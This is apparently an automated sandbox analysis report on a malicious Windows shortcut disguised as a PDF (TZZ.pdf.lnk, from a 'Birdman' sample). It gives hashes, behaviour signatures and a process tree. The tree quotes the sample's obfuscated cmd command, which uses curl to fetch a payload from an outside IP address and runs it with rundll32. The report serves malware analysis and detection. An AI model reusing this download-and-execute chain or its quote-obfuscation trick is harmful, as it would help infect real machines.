Analysis
-
max time kernel
136s -
max time network
104s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
07-05-2024 12:38
Static task
static1
Behavioral task
behavioral1
Sample
Birdman/Birdman.dll
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
Birdman/Birdman.dll
Resource
win10v2004-20240419-en
Behavioral task
behavioral3
Sample
Birdman/TZZ.pdf.lnk
Resource
win7-20240215-en
Behavioral task
behavioral4
Sample
Birdman/TZZ.pdf.lnk
Resource
win10v2004-20240419-en
General
-
Target
Birdman/TZZ.pdf.lnk
-
Size
1KB
-
MD5
54801c419cd1468e340604dd320223d8
-
SHA1
413c08277d29c965fb667a83af76d453004a15ed
-
SHA256
d57082ddb6cffaa1b6ad658bba6d79f958a7ea8afbd1f4e1ddfdddb4a7145961
-
SHA512
55a2e1d83e094c8b527ef782da54daa7863f4f17dc9213b1192359d550cbb6f7dd5cc24412ba3a72a7d405df9c2c58ba4d1f64cc640775bb82777840d0b8e6b7
Malware Config
Signatures
-
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
cmd.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Runs ping.exe 1 TTPs 2 IoCs
-
Suspicious use of WriteProcessMemory 10 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 4904 wrote to memory of 4344 4904 cmd.exe cmd.exe PID 4904 wrote to memory of 4344 4904 cmd.exe cmd.exe PID 4344 wrote to memory of 3612 4344 cmd.exe PING.EXE PID 4344 wrote to memory of 3612 4344 cmd.exe PING.EXE PID 4344 wrote to memory of 4088 4344 cmd.exe curl.exe PID 4344 wrote to memory of 4088 4344 cmd.exe curl.exe PID 4344 wrote to memory of 2948 4344 cmd.exe PING.EXE PID 4344 wrote to memory of 2948 4344 cmd.exe PING.EXE PID 4344 wrote to memory of 3736 4344 cmd.exe rundll32.exe PID 4344 wrote to memory of 3736 4344 cmd.exe rundll32.exe
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\Birdman\TZZ.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c UL || EChO UL & p"iN"G UL || C"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log & p"iN"G -n 3 UL || RUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var & E"Xi"T 'qsCViPhzqU2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\PING.EXEp"iN"G UL3⤵
- Runs ping.exe
-
C:\Windows\system32\curl.exeC"U"R"L" h"ttp":"//"2"07.2"46".7"8."68/6"k"Q"h"/T"7t -o C:\Users\Admin\AppData\Local\Temp\UL.log3⤵
-
C:\Windows\system32\PING.EXEp"iN"G -n 3 UL3⤵
- Runs ping.exe
-
C:\Windows\system32\rundll32.exeRUNDl"L"3"2" C:\Users\Admin\AppData\Local\Temp\UL.log , HUF_inc_var3⤵